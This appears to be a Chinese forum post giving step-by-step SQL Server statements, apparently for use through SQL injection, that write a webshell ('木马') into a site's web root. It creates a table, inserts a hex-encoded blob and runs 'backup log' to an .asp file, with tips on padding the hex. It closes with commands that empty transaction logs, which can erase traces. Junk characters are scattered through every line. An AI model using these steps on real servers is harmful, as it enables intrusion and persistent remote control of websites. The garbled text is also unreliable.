select * from master.dbo.sysdatabases 列出所有列的记录
6 Q# `0 D! W# H9 s9 A8 l ) i- Y! }" y4 k) E3 x5 w
select name from master.dbo.sysdatabases 仅列出name列的记录- i# K9 N6 m! |1 t) x
1 r/ _; h' Z& f* O( J3 S注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份9 [0 A# `% d/ u
. N, M+ E- u5 I5 e. @, v9 V5 ealter database 数据库名 set RECOVERY FULL--8 I1 G. R8 k2 n" @
- q( e+ P$ [- }' vcreate table cmd (a image)-- \**cmd是创建的临时表4 P. n! b, l+ h; N
; A# g0 y# U) Q6 c# j9 K a) S1 u# v
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
$ A q& b U w2 w$ O! U
4 G. C. v, u6 {5 Ainsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
* t; b( F- a! ^5 \9 x1 |
. ^) M' d8 k& m! l! }) R//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
1 m, u/ W$ f, }* [ \
& l) g6 j( W1 w- i7 ]- ibackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)" G+ o0 s2 S" H+ x$ \
9 u1 y' b' x" ^3 x7 q7 d
drop table cmd--4 \3 t# x% h$ q/ U* C: r
/ V) B1 ^$ ~5 j$ s7 F, [, {. ^
' `8 q, x8 y+ _+ Z0 a& w& f' Y" A
f:\
3 N' h9 p/ \9 K) P- Q16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)% [; S+ N5 e8 f
; z, k* L7 Y3 Y7 }9 \最好多加几个回车0d0a,要不会出错哈8 ]5 r7 H7 K: H2 C( ^9 J: d
. E& q; L) K9 l
7 r7 C: w/ @* O# Y2 w7 v7 eSQL Server日志清空方法 ; Q: ?; ]; C( [0 @2 T/ c
; e. x1 r! g: p
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 3 h3 }; J" Y* q% z1 h7 W# ~, H
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
5 A/ L, f C; j. D& y5 v: _- s' O4 X& x" q+ n
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
1 w: U6 y: e. N ~* X6 j/ x* O5 W7 O5 c% S. [
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
+ a4 d' r0 {2 b I8 l M |